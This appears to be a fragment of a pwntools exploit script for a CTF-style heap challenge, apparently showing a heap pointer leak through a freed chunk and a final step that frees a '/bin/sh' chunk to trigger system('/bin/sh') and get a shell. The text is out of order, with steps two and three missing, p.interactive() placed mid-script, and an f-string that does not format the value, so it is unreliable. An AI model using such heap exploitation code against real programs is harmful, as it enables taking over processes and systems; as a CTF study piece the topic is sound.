# 1. Heap Leak create(b'vec0', 0x20) create(b'vec1', 0x20) delete(0) # The 'name' field of vec0 now contains the heap fd pointer heap_leak = u64(get(0).strip().ljust(8, b'\x00')) log.info(f"Heap Leak: hex(heap_leak)")

p.interactive()

# 4. Get Shell create(b'/bin/sh\x00', 0x10) # Index 4 delete(4) # Triggers system("/bin/sh")